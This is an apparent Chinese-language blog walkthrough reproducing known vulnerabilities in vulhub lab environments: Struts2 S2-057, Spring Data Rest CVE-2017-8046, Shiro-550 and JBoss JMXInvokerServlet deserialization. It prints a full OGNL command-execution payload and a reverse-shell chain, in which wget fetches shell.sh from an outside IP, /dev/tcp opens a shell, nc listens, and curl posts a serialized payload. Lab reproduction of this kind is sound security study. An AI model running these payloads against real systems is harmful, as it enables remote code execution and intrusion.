当前位置: 首页 > news >正文

struts2

S2-057远程执行代码漏洞

环境

vulhub/struts2/s2-057

复现

访问靶场

在url处输入 http://123.57.211.129:8080/struts2-showcase/${(123+123)}/actionChain1.action 后刷新可以看到中间数字位置相加了

抓包,将上面验证payload的值修改为我们的利用exp:

/struts2-showcase/$%7B%0A%28%23dm%3D@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS%29.%28%23ct%3D%23request%5B%27struts.valueStack%27%5D.context%29.%28%23cr%3D%23ct%5B%27com.opensymphony.xwork2.ActionContext.container%27%5D%29.%28%23ou%3D%23cr.getInstance%28@com.opensymphony.xwork2.ognl.OgnlUtil@class%29%29.%28%23ou.getExcludedPackageNames%28%29.clear%28%29%29.%28%23ou.getExcludedClasses%28%29.clear%28%29%29.%28%23ct.setMemberAccess%28%23dm%29%29.%28%23a%3D@java.lang.Runtime@getRuntime%28%29.exec%28%27whoami%27%29%29.%28@org.apache.commons.io.IOUtils@toString%28%23a.getInputStream%28%29%29%29%7D/actionChain1.action

执行成功

Spring Data Rest 远程命令执行命令(CVE-2017-8046)

环境

vulhub/spring/CVE-2017-8046

复现

1.访问 http://your-ip:8080/customers/1,然后抓取数据包,使用PATCH请求来修改

Shiro rememberMe反序列化漏洞(Shiro-550)

环境

vulhub/shiro/CVE-2016-4437

复现

验证Shiro框架

利⽤shiro_attack⼯具,命令执⾏
添加【目标地址】--》【爆破密钥】--》【爆破利用链及回显】

反弹shell
使用命令执行执行
/usr/bin/wget -qO /tmp/shell.sh http://123.57.211.129/shell.sh
在靶场中生成shell.sh文件
sh -i >& /dev/tcp/123.57.211.129/6666 0>&1
监听6666端口

执行shell.sh文件

/bin/bash /tmp/shell.sh

反弹成功

JBoss EJBInvokerServlet CVE-2013-4810 反序列化漏洞

环境

vulhub/jboss/JMXInvokerServlet-deserialization

复现

此漏洞存在于JBoss中 /invoker/JMXInvokerServlet 路径。访问若提示下载
JMXInvokerServlet,则可能存在漏洞:

使⽤JavaDeserH2HC进⾏反弹shell
#创建class⽂件
javac -cp .:commons-collections-3.2.1.jar ReverseShellCommonsCollectionsHa
shMap.java
#创建反序列化⽂件
java -cp .:commons-collections-3.2.1.jar ReverseShellCommonsCollectionsHashMap 123.57.211.129:6666
#监听 6666 端⼝
nc -lvvp 6666
#psot提交
curl http://123.57.211.129:8080/invoker/readonly --data-binary @ReverseShellCommonsCollectionsHashMap.ser

创建class⽂件

创建反序列化⽂件

监听6666端⼝

psot提交

完成


http://www.mrgr.cn/news/34301.html

相关文章:

  • 使用代理服务导致网络延迟增大的影响
  • 【SSM-Day2】创建SpringBoot项目
  • CVE-2024-44902 Thinkphp反序列化漏洞
  • ELK 企业级日志分析系统
  • 1267:【例9.11】01背包问题(从二维优化一维dp问题)
  • Kafka3.8.0+Centos7.9的安装参考
  • 【人工智能学习之常用损失函数浅谈】
  • minitrace使用
  • 使用k8s部署RainLoop-Webmail
  • 本地部署高颜值某抑云音乐播放器Splayer并实现无公网IP远程听歌
  • Profinet转Canopen网关控制高精密伺服的优点
  • 如何开启项目管理学习之旅?免费助你建立系统知识体系
  • AV1 Bitstream Decoding Process Specification--[8]: 语法结构语义-4
  • Java面向对象特性与泛型:深入理解与应用
  • 使用离线模型放在项目中,导致项目代码很大,怎么解决
  • 127.0.0.1和0.0.0.0的区别
  • Windows本地部署开源趣味画风白板手绘工具Excalidraw并实现远程操作
  • Git 命令宝典,这篇就够了~
  • 优可测一键闪测仪:实现冲压端子的快速精准尺寸检测
  • (附源码)基于django的电力工程作业现场物资管理系统的设计与实现-计算机毕设 22067